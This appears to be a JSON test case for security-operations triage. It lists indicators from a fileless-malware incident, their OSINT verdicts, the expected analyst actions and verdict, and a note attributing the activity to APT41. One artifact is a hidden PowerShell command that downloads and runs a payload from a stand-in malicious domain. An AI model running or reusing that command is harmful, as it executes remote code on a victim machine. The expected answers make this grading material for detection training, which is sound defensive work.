{"playbook_version":2,"artifacts":[{"id":"artifact_1","type":"ip","value":"192.168.2.25","is_critical":false,"osint_result":{"source":"Internal Network","verdict":"internal","details":"Internal server IP"}},{"id":"artifact_2","type":"command","value":"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://malicious.domain/payload')","is_critical":true,"osint_result":{"source":"Hybrid Analysis","verdict":"malicious","details":"Detected as a common pattern for fileless malware attacks"}},{"id":"artifact_3","type":"domain","value":"malicious.domain","is_critical":true,"osint_result":{"source":"VirusTotal","verdict":"malicious","details":"Domain flagged for hosting malware payloads"}}],"expected_actions":["isolate_host","block_hash","collect_forensics"],"expected_verdict":"true_positive","expected_category":"malware","analysis_notes":"APT41's use of fileless malware via PowerShell indicates sophisticated attack methods targeting critical infrastructure."}